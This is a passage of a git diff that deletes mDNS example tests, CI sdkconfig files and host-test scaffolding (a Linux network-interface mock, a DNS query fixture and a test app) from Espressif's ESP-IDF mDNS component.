arr.name = tester_host - arr.ip = socket.inet_aton('127.0.0.1') - dns.an.append(arr) - print('Created answer to mdns query: {} '.format(dns.__repr__())) - return dns.pack() - - -def get_dns_answer_to_mdns_lwip(tester_host, id): - dns = dpkt.dns.DNS( - b'\x5e\x39\x84\x00\x00\x01\x00\x01\x00\x00\x00\x00\x0a\x64\x61\x76\x69\x64' - b'\x2d\x63\x6f\x6d\x70\x05\x6c\x6f\x63\x61\x6c\x00\x00\x01\x00\x01\xc0\x0c' - b'\x00\x01\x00\x01\x00\x00\x00\x0a\x00\x04\xc0\xa8\x0a\x6c') - dns.qd[0].name = tester_host - dns.an[0].name = tester_host - dns.an[0].ip = socket.inet_aton('127.0.0.1') - dns.an[0].rdata = socket.inet_aton('127.0.0.1') - dns.id = id - print('Created answer to mdns (lwip) query: {} '.format(dns.__repr__())) - return dns.pack() - - -def mdns_server(esp_host, events): - UDP_IP = '0.0.0.0' - UDP_PORT = 5353 - MCAST_GRP = '224.0.0.251' - TESTER_NAME = u'tinytester.local' - TESTER_NAME_LWIP = u'tinytester-lwip.local' - QUERY_TIMEOUT = 0.2 - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1) - sock.setblocking(False) - sock.bind((UDP_IP, UDP_PORT)) - mreq = struct.pack('4sl', socket.inet_aton(MCAST_GRP), socket.INADDR_ANY) - sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) - last_query_timepoint = time.time() - while not events['stop'].is_set(): - try: - current_time = time.time() - if current_time - last_query_timepoint > QUERY_TIMEOUT: - last_query_timepoint = current_time - if not events['esp_answered'].is_set(): - sock.sendto(get_dns_query_for_esp(esp_host), - (MCAST_GRP, UDP_PORT)) - if not events['esp_delegated_answered'].is_set(): - sock.sendto(get_dns_query_for_esp(esp_host + '-delegated'), - (MCAST_GRP, UDP_PORT)) - timeout = max( - 0, QUERY_TIMEOUT - (current_time - last_query_timepoint)) - read_socks, _, _ = select.select([sock], [], [], timeout) - if not read_socks: - continue - data, addr = sock.recvfrom(1024) - dns = dpkt.dns.DNS(data) - if len(dns.qd) > 0: - for dns_query in dns.qd: - if dns_query.type == dpkt.dns.DNS_A: - if dns_query.name == TESTER_NAME: - print('Received query: {} '.format(dns.__repr__())) - sock.sendto(get_dns_answer_to_mdns(TESTER_NAME), - (MCAST_GRP, UDP_PORT)) - elif dns_query.name == TESTER_NAME_LWIP: - print('Received query: {} '.format(dns.__repr__())) - sock.sendto( - get_dns_answer_to_mdns_lwip(TESTER_NAME_LWIP, dns.id), - addr) - if len(dns.an) > 0: - for dns_answer in dns.an: - if dns_answer.type == dpkt.dns.DNS_A: - print('Received answer from {}'.format(dns_answer.name)) - if dns_answer.name == esp_host + u'.local': - print('Received answer to esp32-mdns query: {}'.format( - dns.__repr__())) - events['esp_answered'].set() - if dns_answer.name == esp_host + u'-delegated.local': - print('Received answer to esp32-mdns-delegate query: {}'.format( - dns.__repr__())) - events['esp_delegated_answered'].set() - except socket.timeout: - break - except dpkt.UnpackError: - continue - - -def test_examples_protocol_mdns(dut): - """ - steps: | - 1. obtain IP address + init mdns example - 2. get the dut host name (and IP address) - 3. check the mdns name is accessible - 4. check DUT output if mdns advertized host is resolved - 5. check if DUT responds to dig - 6. check the DUT is searchable via reverse IP lookup - """ - - specific_host = dut.expect(r'mdns hostname set to: \[(.*?)\]')[1].decode() - - mdns_server_events = { - 'stop': Event(), - 'esp_answered': Event(), - 'esp_delegated_answered': Event() - } - mdns_responder = Thread(target=mdns_server, - args=(str(specific_host), mdns_server_events)) - ip_addresses = [] - if dut.app.sdkconfig.get('LWIP_IPV4') is True: - ipv4 = dut.expect(r'IPv4 address: (\d+\.\d+\.\d+\.\d+)[^\d]', - timeout=30)[1].decode() - ip_addresses.append(ipv4) - if dut.app.sdkconfig.get('LWIP_IPV6') is True: - ipv6_r = r':'.join((r'[0-9a-fA-F]{4}', ) * 8) - ipv6 = dut.expect(ipv6_r, timeout=30)[0].decode() - ip_addresses.append(ipv6) - print('Connected with IP addresses: {}'.format(','.join(ip_addresses))) - try: - # TODO: Add test for example disabling IPV4 - mdns_responder.start() - if dut.app.sdkconfig.get('LWIP_IPV4') is True: - # 3. check the mdns name is accessible. - if not mdns_server_events['esp_answered'].wait(timeout=30): - raise ValueError( - 'Test has failed: did not receive mdns answer within timeout') - if not mdns_server_events['esp_delegated_answered'].wait(timeout=30): - raise ValueError( - 'Test has failed: did not receive mdns answer for delegated host within timeout' - ) - # 4. check DUT output if mdns advertized host is resolved - dut.expect( - re.compile( - b'mdns-test: Query A: tinytester.local resolved to: 127.0.0.1') - ) - dut.expect( - re.compile( - b'mdns-test: gethostbyname: tinytester-lwip.local resolved to: 127.0.0.1' - )) - dut.expect( - re.compile( - b'mdns-test: getaddrinfo: tinytester-lwip.local resolved to: 127.0.0.1' - )) - # 5. check the DUT answers to `dig` command - dig_output = subprocess.check_output([ - 'dig', '+short', '-p', '5353', '@224.0.0.251', - '{}.local'.format(specific_host) - ]) - print('Resolving {} using "dig" succeeded with:\n{}'.format( - specific_host, dig_output)) - if not ipv4.encode('utf-8') in dig_output: - raise ValueError( - 'Test has failed: Incorrectly resolved DUT hostname using dig' - "Output should've contained DUT's IP address:{}".format(ipv4)) - # 6. check the DUT reverse lookup - if dut.app.sdkconfig.get('MDNS_RESPOND_REVERSE_QUERIES') is True: - for ip_address in ip_addresses: - dig_output = subprocess.check_output([ - 'dig', '+short', '-p', '5353', '@224.0.0.251', '-x', - '{}'.format(ip_address) - ]) - print('Reverse lookup for {} using "dig" succeeded with:\n{}'. - format(ip_address, dig_output)) - if specific_host not in dig_output.decode(): - raise ValueError( - 'Test has failed: Incorrectly resolved DUT IP address using dig' - "Output should've contained DUT's name:{}".format( - specific_host)) - - finally: - mdns_server_events['stop'].set() - mdns_responder.join() diff --git a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_custom_netif b/components/mdns/examples/query_advertise/sdkconfig.ci.eth_custom_netif deleted file mode 100644 index b9d71204..00000000 --- a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_custom_netif +++ /dev/null @@ -1,20 +0,0 @@ -CONFIG_IDF_TARGET="esp32" -CONFIG_MDNS_RESOLVE_TEST_SERVICES=y -CONFIG_MDNS_ADD_MAC_TO_HOSTNAME=y -CONFIG_MDNS_PUBLISH_DELEGATE_HOST=y -CONFIG_MDNS_PREDEF_NETIF_STA=n -CONFIG_MDNS_PREDEF_NETIF_AP=n -CONFIG_MDNS_PREDEF_NETIF_ETH=n -CONFIG_MDNS_ADD_CUSTOM_NETIF=y -CONFIG_MDNS_RESPOND_REVERSE_QUERIES=y -CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y -CONFIG_EXAMPLE_CONNECT_ETHERNET=y -CONFIG_EXAMPLE_CONNECT_WIFI=n -CONFIG_EXAMPLE_USE_INTERNAL_ETHERNET=y -CONFIG_EXAMPLE_ETH_PHY_IP101=y -CONFIG_EXAMPLE_ETH_MDC_GPIO=23 -CONFIG_EXAMPLE_ETH_MDIO_GPIO=18 -CONFIG_EXAMPLE_ETH_PHY_RST_GPIO=5 -CONFIG_EXAMPLE_ETH_PHY_ADDR=1 -CONFIG_EXAMPLE_CONNECT_IPV6=y -CONFIG_MDNS_BUTTON_GPIO=32 diff --git a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_def b/components/mdns/examples/query_advertise/sdkconfig.ci.eth_def deleted file mode 100644 index 703b4543..00000000 --- a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_def +++ /dev/null @@ -1,15 +0,0 @@ -CONFIG_IDF_TARGET="esp32" -CONFIG_MDNS_RESOLVE_TEST_SERVICES=y -CONFIG_MDNS_ADD_MAC_TO_HOSTNAME=y -CONFIG_MDNS_PUBLISH_DELEGATE_HOST=y -CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y -CONFIG_EXAMPLE_CONNECT_ETHERNET=y -CONFIG_EXAMPLE_CONNECT_WIFI=n -CONFIG_EXAMPLE_USE_INTERNAL_ETHERNET=y -CONFIG_EXAMPLE_ETH_PHY_IP101=y -CONFIG_EXAMPLE_ETH_MDC_GPIO=23 -CONFIG_EXAMPLE_ETH_MDIO_GPIO=18 -CONFIG_EXAMPLE_ETH_PHY_RST_GPIO=5 -CONFIG_EXAMPLE_ETH_PHY_ADDR=1 -CONFIG_EXAMPLE_CONNECT_IPV6=y -CONFIG_MDNS_BUTTON_GPIO=32 diff --git a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_no_ipv4 b/components/mdns/examples/query_advertise/sdkconfig.ci.eth_no_ipv4 deleted file mode 100644 index b77a7527..00000000 --- a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_no_ipv4 +++ /dev/null @@ -1,15 +0,0 @@ -CONFIG_IDF_TARGET="esp32" -CONFIG_MDNS_RESOLVE_TEST_SERVICES=y -CONFIG_MDNS_ADD_MAC_TO_HOSTNAME=y -CONFIG_MDNS_PUBLISH_DELEGATE_HOST=y -CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y -CONFIG_LWIP_IPV4=n -CONFIG_EXAMPLE_CONNECT_ETHERNET=y -CONFIG_EXAMPLE_CONNECT_WIFI=n -CONFIG_EXAMPLE_USE_INTERNAL_ETHERNET=y -CONFIG_EXAMPLE_ETH_PHY_IP101=y -CONFIG_EXAMPLE_ETH_MDC_GPIO=23 -CONFIG_EXAMPLE_ETH_MDIO_GPIO=18 -CONFIG_EXAMPLE_ETH_PHY_RST_GPIO=5 -CONFIG_EXAMPLE_ETH_PHY_ADDR=1 -CONFIG_MDNS_BUTTON_GPIO=32 diff --git a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_no_ipv6 b/components/mdns/examples/query_advertise/sdkconfig.ci.eth_no_ipv6 deleted file mode 100644 index d669ec07..00000000 --- a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_no_ipv6 +++ /dev/null @@ -1,16 +0,0 @@ -CONFIG_IDF_TARGET="esp32" -CONFIG_MDNS_RESOLVE_TEST_SERVICES=y -CONFIG_MDNS_ADD_MAC_TO_HOSTNAME=y -CONFIG_MDNS_PUBLISH_DELEGATE_HOST=y -CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y -CONFIG_LWIP_IPV6=n -CONFIG_EXAMPLE_CONNECT_IPV6=n -CONFIG_EXAMPLE_CONNECT_ETHERNET=y -CONFIG_EXAMPLE_CONNECT_WIFI=n -CONFIG_EXAMPLE_USE_INTERNAL_ETHERNET=y -CONFIG_EXAMPLE_ETH_PHY_IP101=y -CONFIG_EXAMPLE_ETH_MDC_GPIO=23 -CONFIG_EXAMPLE_ETH_MDIO_GPIO=18 -CONFIG_EXAMPLE_ETH_PHY_RST_GPIO=5 -CONFIG_EXAMPLE_ETH_PHY_ADDR=1 -CONFIG_MDNS_BUTTON_GPIO=32 diff --git a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_socket b/components/mdns/examples/query_advertise/sdkconfig.ci.eth_socket deleted file mode 100644 index 5d924052..00000000 --- a/components/mdns/examples/query_advertise/sdkconfig.ci.eth_socket +++ /dev/null @@ -1,16 +0,0 @@ -CONFIG_IDF_TARGET="esp32" -CONFIG_MDNS_RESOLVE_TEST_SERVICES=y -CONFIG_MDNS_ADD_MAC_TO_HOSTNAME=y -CONFIG_MDNS_PUBLISH_DELEGATE_HOST=y -CONFIG_MDNS_NETWORKING_SOCKET=y -CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y -CONFIG_EXAMPLE_CONNECT_ETHERNET=y -CONFIG_EXAMPLE_CONNECT_WIFI=n -CONFIG_EXAMPLE_USE_INTERNAL_ETHERNET=y -CONFIG_EXAMPLE_ETH_PHY_IP101=y -CONFIG_EXAMPLE_ETH_MDC_GPIO=23 -CONFIG_EXAMPLE_ETH_MDIO_GPIO=18 -CONFIG_EXAMPLE_ETH_PHY_RST_GPIO=5 -CONFIG_EXAMPLE_ETH_PHY_ADDR=1 -CONFIG_EXAMPLE_CONNECT_IPV6=y -CONFIG_MDNS_BUTTON_GPIO=32 diff --git a/components/mdns/tests/host_test/CMakeLists.txt b/components/mdns/tests/host_test/CMakeLists.txt deleted file mode 100644 index 5f0d7bdd..00000000 --- a/components/mdns/tests/host_test/CMakeLists.txt +++ /dev/null @@ -1,16 +0,0 @@ -cmake_minimum_required(VERSION 3.5) - - -include($ENV{IDF_PATH}/tools/cmake/project.cmake) -if(${IDF_TARGET} STREQUAL "linux") - set(EXTRA_COMPONENT_DIRS "../../../../common_components/linux_compat") - set(COMPONENTS main) -endif() - -project(mdns_host) - -# Enable sanitizers only without console (we'd see some leaks on argtable when console exits) -if(NOT CONFIG_TEST_CONSOLE AND CONFIG_IDF_TARGET_LINUX) -idf_component_get_property(mdns mdns COMPONENT_LIB) -target_link_options(${mdns} INTERFACE -fsanitize=address -fsanitize=undefined) -endif() diff --git a/components/mdns/tests/host_test/README.md b/components/mdns/tests/host_test/README.md deleted file mode 100644 index 4953f0e2..00000000 --- a/components/mdns/tests/host_test/README.md +++ /dev/null @@ -1,33 +0,0 @@ -# Setup dummy network interfaces - -Note: Set two addresses so we could use one as source and another as destination -``` -sudo ip link add eth2 type dummy -sudo ip addr add 192.168.1.200/24 dev eth2 -sudo ip addr add 192.168.1.201/24 dev eth2 -sudo ip link set eth2 up -sudo ifconfig eth2 multicast -``` - -# Dig on a specified interface - -``` -dig +short -b 192.168.1.200 -p 5353 @224.0.0.251 myesp.local -``` - -or a reverse query: -``` -dig +short -b 192.168.2.200 -p 5353 @224.0.0.251 -x 192.168.1.200 -``` - -# Run avahi to browse services - -Avahi needs the netif to have the "multicast" flag set - -```bash -david@david-comp:~/esp/idf (feature/mdns_networking_socket)$ avahi-browse -a -r -p -+;eth2;IPv6;myesp-service2;Web Site;local -+;eth2;IPv4;myesp-service2;Web Site;local -=;eth2;IPv6;myesp-service2;Web Site;local;myesp.local;192.168.1.200;80;"board=esp32" "u=user" "p=password" -=;eth2;IPv4;myesp-service2;Web Site;local;myesp.local;192.168.1.200;80;"board=esp32" "u=user" "p=password" -``` diff --git a/components/mdns/tests/host_test/components/esp_netif_linux/CMakeLists.txt b/components/mdns/tests/host_test/components/esp_netif_linux/CMakeLists.txt deleted file mode 100644 index 6f8d51ec..00000000 --- a/components/mdns/tests/host_test/components/esp_netif_linux/CMakeLists.txt +++ /dev/null @@ -1,8 +0,0 @@ -idf_build_get_property(idf_target IDF_TARGET) -if(${IDF_TARGET} STREQUAL "linux") - idf_component_register(SRCS esp_netif_linux.c - INCLUDE_DIRS include $ENV{IDF_PATH}/components/esp_netif/include - REQUIRES esp_event) -else() - idf_component_register() -endif() diff --git a/components/mdns/tests/host_test/components/esp_netif_linux/Kconfig b/components/mdns/tests/host_test/components/esp_netif_linux/Kconfig deleted file mode 100644 index 3b3c3099..00000000 --- a/components/mdns/tests/host_test/components/esp_netif_linux/Kconfig +++ /dev/null @@ -1,15 +0,0 @@ -menu "LWIP-MOCK-CONFIG" - - config LWIP_IPV6 - bool "Enable IPv6" - default y - help - Enable/disable IPv6 - - config LWIP_IPV4 - bool "Enable IPv4" - default y - help - Enable/disable IPv4 - -endmenu diff --git a/components/mdns/tests/host_test/components/esp_netif_linux/esp_netif_linux.c b/components/mdns/tests/host_test/components/esp_netif_linux/esp_netif_linux.c deleted file mode 100644 index 93e4386c..00000000 --- a/components/mdns/tests/host_test/components/esp_netif_linux/esp_netif_linux.c +++ /dev/null @@ -1,197 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2021-2024 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Apache-2.0 - */ -#include -#include - -#include "esp_netif.h" -#include "esp_err.h" -#include //strlen -#include -#include //inet_addr -#include -#include -#include -#include "esp_netif_types.h" -#include "esp_log.h" - -#define MAX_NETIFS 4 - -static const char *TAG = "esp_netif_linux"; - -static esp_netif_t *s_netif_list[MAX_NETIFS] = { 0 }; - -struct esp_netif_obj { - const char *if_key; - const char *if_desc; -}; - -esp_netif_t *esp_netif_get_handle_from_ifkey(const char *if_key) -{ - for (int i = 0; i < MAX_NETIFS; ++i) { - if (s_netif_list[i] && strcmp(s_netif_list[i]->if_key, if_key) == 0) { - return s_netif_list[i]; - } - } - return NULL; -} - -esp_err_t esp_netif_get_ip_info(esp_netif_t *esp_netif, esp_netif_ip_info_t *ip_info) -{ - if (esp_netif == NULL) { - return ESP_ERR_INVALID_STATE; - } - struct ifaddrs *addrs, *tmp; - getifaddrs(&addrs); - tmp = addrs; - - while (tmp) { - if (tmp->ifa_addr && tmp->ifa_addr->sa_family == AF_INET) { - char addr[20]; - struct sockaddr_in *pAddr = (struct sockaddr_in *) tmp->ifa_addr; - inet_ntop(AF_INET, &pAddr->sin_addr, addr, sizeof(addr) ); - if (strcmp(esp_netif->if_desc, tmp->ifa_name) == 0) { - ESP_LOGD(TAG, "AF_INET4: %s: %s\n", tmp->ifa_name, addr); - memcpy(&ip_info->ip.addr, &pAddr->sin_addr, 4); - } - } - tmp = tmp->ifa_next; - } - freeifaddrs(addrs); - return ESP_OK; -} - -esp_err_t esp_netif_dhcpc_get_status(esp_netif_t *esp_netif, esp_netif_dhcp_status_t *status) -{ - return ESP_OK; -} - -int esp_netif_get_all_ip6(esp_netif_t *esp_netif, esp_ip6_addr_t if_ip6[]) -{ - if (esp_netif == NULL) { - return 0; - } - struct ifaddrs *addrs, *tmp; - int addr_count = 0; - getifaddrs(&addrs); - tmp = addrs; - - while (tmp) { - if (tmp->ifa_addr && tmp->ifa_addr->sa_family == AF_INET6) { - struct sockaddr_in6 *pAddr = (struct sockaddr_in6 *)tmp->ifa_addr; - if (strcmp(esp_netif->if_desc, tmp->ifa_name) == 0) { - memcpy(&if_ip6[addr_count++], &pAddr->sin6_addr, 4 * 4); - } - } - tmp = tmp->ifa_next; - } - - freeifaddrs(addrs); - return addr_count; -} - -esp_err_t esp_netif_get_ip6_linklocal(esp_netif_t *esp_netif, esp_ip6_addr_t *if_ip6) -{ - if (esp_netif == NULL) { - return ESP_ERR_INVALID_STATE; - } - struct ifaddrs *addrs, *tmp; - getifaddrs(&addrs); - tmp = addrs; - - while (tmp) { - if (tmp->ifa_addr && tmp->ifa_addr->sa_family == AF_INET6) { - char addr[64]; - struct sockaddr_in6 *pAddr = (struct sockaddr_in6 *)tmp->ifa_addr; - inet_ntop(AF_INET6, &pAddr->sin6_addr, addr, sizeof(addr) ); - if (strcmp(esp_netif->if_desc, tmp->ifa_name) == 0) { - ESP_LOGD(TAG, "AF_INET6: %s: %s\n", tmp->ifa_name, addr); - memcpy(if_ip6->addr, &pAddr->sin6_addr, 4 * 4); - break; - } - } - tmp = tmp->ifa_next; - } - - freeifaddrs(addrs); - return ESP_OK; -} - - -int esp_netif_get_netif_impl_index(esp_netif_t *esp_netif) -{ - if (esp_netif == NULL) { - return -1; - } - uint32_t interfaceIndex = if_nametoindex(esp_netif->if_desc); - return interfaceIndex; -} - -esp_err_t esp_netif_get_netif_impl_name(esp_netif_t *esp_netif, char *name) -{ - if (esp_netif == NULL) { - return ESP_ERR_INVALID_STATE; - } - strcpy(name, esp_netif->if_desc); - return ESP_OK; -} - -const char *esp_netif_get_desc(esp_netif_t *esp_netif) -{ - if (esp_netif == NULL) { - return NULL; - } - return esp_netif->if_desc; -} - -esp_netif_t *esp_netif_new(const esp_netif_config_t *config) -{ - if (esp_netif_get_handle_from_ifkey(config->base->if_key)) { - return NULL; - } - esp_netif_t *netif = calloc(1, sizeof(struct esp_netif_obj)); - if (netif) { - netif->if_desc = config->base->if_desc; - netif->if_key = config->base->if_key; - } - - for (int i = 0; i < MAX_NETIFS; ++i) { - if (s_netif_list[i] == NULL) { - s_netif_list[i] = netif; - break; - } - } - - return netif; -} - -void esp_netif_destroy(esp_netif_t *esp_netif) -{ - for (int i = 0; i < MAX_NETIFS; ++i) { - if (s_netif_list[i] == esp_netif) { - s_netif_list[i] = NULL; - break; - } - } - free(esp_netif); -} - -const char *esp_netif_get_ifkey(esp_netif_t *esp_netif) -{ - return esp_netif->if_key; -} - -esp_err_t esp_netif_str_to_ip4(const char *src, esp_ip4_addr_t *dst) -{ - if (src == NULL || dst == NULL) { - return ESP_ERR_INVALID_ARG; - } - struct in_addr addr; - if (inet_pton(AF_INET, src, &addr) != 1) { - return ESP_FAIL; - } - dst->addr = addr.s_addr; - return ESP_OK; -} diff --git a/components/mdns/tests/host_test/components/esp_netif_linux/include/esp_wifi_types.h b/components/mdns/tests/host_test/components/esp_netif_linux/include/esp_wifi_types.h deleted file mode 100644 index e878e271..00000000 --- a/components/mdns/tests/host_test/components/esp_netif_linux/include/esp_wifi_types.h +++ /dev/null @@ -1,7 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2021-2022 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Apache-2.0 - */ -#pragma once -#include "esp_event.h" diff --git a/components/mdns/tests/host_test/components/esp_netif_linux/include/machine/endian.h b/components/mdns/tests/host_test/components/esp_netif_linux/include/machine/endian.h deleted file mode 100644 index 488bce0e..00000000 --- a/components/mdns/tests/host_test/components/esp_netif_linux/include/machine/endian.h +++ /dev/null @@ -1,8 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2021-2022 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Apache-2.0 - */ -#pragma once - -#include_next "endian.h" diff --git a/components/mdns/tests/host_test/dnsfixture.py b/components/mdns/tests/host_test/dnsfixture.py deleted file mode 100644 index 6dcf0c99..00000000 --- a/components/mdns/tests/host_test/dnsfixture.py +++ /dev/null @@ -1,130 +0,0 @@ -# SPDX-FileCopyrightText: 2024 Espressif Systems (Shanghai) CO LTD -# SPDX-License-Identifier: Unlicense OR CC0-1.0 -import logging -import re -import socket -import sys - -import dns.message -import dns.query -import dns.rdataclass -import dns.rdatatype -import dns.resolver - -# Configure logging -logging.basicConfig(level=logging.INFO) -logger = logging.getLogger(__name__) - - -class DnsPythonWrapper: - def __init__(self, server='224.0.0.251', port=5353, retries=3): - self.server = server - self.port = port - self.retries = retries - - def send_and_receive_query(self, query, timeout=3): - logger.info(f'Sending DNS query to {self.server}:{self.port}') - try: - # Create a UDP socket - with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock: - sock.settimeout(timeout) - - # Send the DNS query - query_data = query.to_wire() - sock.sendto(query_data, (self.server, self.port)) - - # Receive the DNS response - response_data, _ = sock.recvfrom(512) # 512 bytes is the typical size for a DNS response - - # Parse the response - response = dns.message.from_wire(response_data) - - return response - - except socket.timeout as e: - logger.warning(f'DNS query timed out: {e}') - return None - except dns.exception.DNSException as e: - logger.error(f'DNS query failed: {e}') - return None - - def run_query(self, name, query_type='PTR', timeout=3): - logger.info(f'Running DNS query for {name} with type {query_type}') - query = dns.message.make_query(name, dns.rdatatype.from_text(query_type), dns.rdataclass.IN) - - # Print the DNS question section - logger.info(f'DNS question section: {query.question}') - - # Send and receive the DNS query - response = None - for attempt in range(1, self.retries + 1): - logger.info(f'Attempt {attempt}/{self.retries}') - response = self.send_and_receive_query(query, timeout) - if response: - break - - if response: - logger.info(f'DNS query response:\n{response}') - else: - logger.warning('No response received or response was invalid.') - - return response - - def parse_answer_section(self, response, query_type): - answers = [] - if response: - for answer in response.answer: - if dns.rdatatype.to_text(answer.rdtype) == query_type: - for item in answer.items: - full_answer = ( - f'{answer.name} {answer.ttl} ' - f'{dns.rdataclass.to_text(answer.rdclass)} ' - f'{dns.rdatatype.to_text(answer.rdtype)} ' - f'{item.to_text()}' - ) - answers.append(full_answer) - return answers - - def check_record(self, name, query_type, expected=True, expect=None): - output = self.run_query(name, query_type=query_type) - answers = self.parse_answer_section(output, query_type) - logger.info(f'answers: {answers}') - if expect is None: - expect = name - if expected: - assert any(expect in answer for answer in answers), f"Expected record '{expect}' not found in answer section" - else: - assert not any(expect in answer for answer in answers), f"Unexpected record '{expect}' found in answer section" - - -if __name__ == '__main__': - if len(sys.argv) < 3: - print('Usage: python dns_fixture.py ') - sys.exit(1) - - query_type = sys.argv[1] - name = sys.argv[2] - ip_only = len(sys.argv) > 3 and sys.argv[3] == '--ip_only' - if ip_only: - logger.setLevel(logging.WARNING) - - dns_wrapper = DnsPythonWrapper() - if query_type == 'X' and '.' in name: - # Sends an IPv4 reverse query - reversed_ip = '.'.join(reversed(name.split('.'))) - name = f'{reversed_ip}.in-addr.arpa' - query_type = 'PTR' - response = dns_wrapper.run_query(name, query_type=query_type) - answers = dns_wrapper.parse_answer_section(response, query_type) - - if answers: - for answer in answers: - logger.info(f'DNS query response: {answer}') - if ip_only: - ipv4_pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b') - ipv4_addresses = ipv4_pattern.findall(answer) - if ipv4_addresses: - print(f"{', '.join(ipv4_addresses)}") - else: - logger.info(f'No response for {name} with query type {query_type}') - exit(9) # Same as dig timeout diff --git a/components/mdns/tests/host_test/main/CMakeLists.txt b/components/mdns/tests/host_test/main/CMakeLists.txt deleted file mode 100644 index 0e6f226a..00000000 --- a/components/mdns/tests/host_test/main/CMakeLists.txt +++ /dev/null @@ -1,4 +0,0 @@ -idf_component_register(SRCS "main.c" - INCLUDE_DIRS - "." - REQUIRES mdns console nvs_flash) diff --git a/components/mdns/tests/host_test/main/Kconfig.projbuild b/components/mdns/tests/host_test/main/Kconfig.projbuild deleted file mode 100644 index 9bf4bba2..00000000 --- a/components/mdns/tests/host_test/main/Kconfig.projbuild +++ /dev/null @@ -1,21 +0,0 @@ -menu "Test Configuration" - - config TEST_HOSTNAME - string "mDNS Hostname" - default "esp32-mdns" - help - mDNS Hostname for example to use - - config TEST_NETIF_NAME - string "Network interface name" - default "eth2" - help - Name/ID if the network interface on which we run the mDNS host test - - config TEST_CONSOLE - bool "Start console" - default n - help - Test uses esp_console for interactive testing. - -endmenu diff --git a/components/mdns/tests/host_test/main/idf_component.yml b/components/mdns/tests/host_test/main/idf_component.yml deleted file mode 100644 index e2d4fe9b..00000000 --- a/components/mdns/tests/host_test/main/idf_component.yml +++ /dev/null @@ -1,7 +0,0 @@ -dependencies: - idf: ">=5.0" - espressif/mdns: - version: "^1.0.0" - override_path: "../../.." - protocol_examples_common: - path: ${IDF_PATH}/examples/common_components/protocol_examples_common diff --git a/components/mdns/tests/host_test/main/main.c b/components/mdns/tests/host_test/main/main.c deleted file mode 100644 index 581231f1..00000000 --- a/components/mdns/tests/host_test/main/main.c +++ /dev/null @@ -1,126 +0,0 @@ -/* - * SPDX-FileCopyrightText: 2022-2024 Espressif Systems (Shanghai) CO LTD - * - * SPDX-License-Identifier: Unlicense OR CC0-1.0 - */ -#include -#include "esp_log.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" -#include "esp_console.h" -#include "mdns.h" -#include "mdns_console.h" - -static const char *TAG = "mdns-test"; - -static void mdns_test_app(esp_netif_t *interface); - -#ifdef CONFIG_TEST_CONSOLE -static EventGroupHandle_t s_exit_signal = NULL; - -static int exit_console(int argc, char **argv) -{ - xEventGroupSetBits(s_exit_signal, 1); - return 0; -} - -#else -static void query_mdns_host(const char *host_name) -{ - ESP_LOGI(TAG, "Query A: %s.local", host_name); - - struct esp_ip4_addr addr; - addr.addr = 0; - - esp_err_t err = mdns_query_a(host_name, 2000, &addr); - if (err) { - if (err == ESP_ERR_NOT_FOUND) { - ESP_LOGW(TAG, "%x: Host was not found!", (err)); - return; - } - ESP_LOGE(TAG, "Query Failed: %x", (err)); - return; - } - - ESP_LOGI(TAG, "Query A: %s.local resolved to: " IPSTR, host_name, IP2STR(&addr)); -} -#endif // TEST_CONSOLE - -#ifndef CONFIG_IDF_TARGET_LINUX -#include "protocol_examples_common.h" -#include "esp_event.h" -#include "nvs_flash.h" - -/** - * @brief This is an entry point for the real target device, - * need to init few components and connect to a network interface - */ -void app_main(void) -{ - ESP_ERROR_CHECK(nvs_flash_init()); - ESP_ERROR_CHECK(esp_netif_init()); - ESP_ERROR_CHECK(esp_event_loop_create_default()); - ESP_ERROR_CHECK(example_connect()); - - mdns_test_app(EXAMPLE_INTERFACE); - - ESP_ERROR_CHECK(example_disconnect()); -} -#else - -/** - * @brief This is an entry point for the linux target (simulator on host) - * need to create a dummy WiFi station and use it as mdns network interface - */ -int main(int argc, char *argv[]) -{ - setvbuf(stdout, NULL, _IONBF, 0); - const esp_netif_inherent_config_t base_cg = { .if_key = "WIFI_STA_DEF", .if_desc = CONFIG_TEST_NETIF_NAME }; - esp_netif_config_t cfg = { .base = &base_cg }; - esp_netif_t *sta = esp_netif_new(&cfg); - - mdns_test_app(sta); - - esp_netif_destroy(sta); - return 0; -} -#endif - -static void mdns_test_app(esp_netif_t *interface) -{ - ESP_ERROR_CHECK(mdns_init()); - ESP_ERROR_CHECK(mdns_hostname_set(CONFIG_TEST_HOSTNAME)); - ESP_LOGI(TAG, "mdns hostname set to: [%s]", CONFIG_TEST_HOSTNAME); - ESP_ERROR_CHECK(mdns_register_netif(interface)); - ESP_ERROR_CHECK(mdns_netif_action(interface, MDNS_EVENT_ENABLE_IP4 /*| MDNS_EVENT_ENABLE_IP6 */ | MDNS_EVENT_IP4_REVERSE_LOOKUP | MDNS_EVENT_IP6_REVERSE_LOOKUP)); - -#ifdef CONFIG_TEST_CONSOLE - esp_console_repl_t *repl = NULL; - esp_console_repl_config_t repl_config = ESP_CONSOLE_REPL_CONFIG_DEFAULT(); - esp_console_dev_uart_config_t uart_config = ESP_CONSOLE_DEV_UART_CONFIG_DEFAULT(); - s_exit_signal = xEventGroupCreate(); - - repl_config.prompt = "mdns>"; 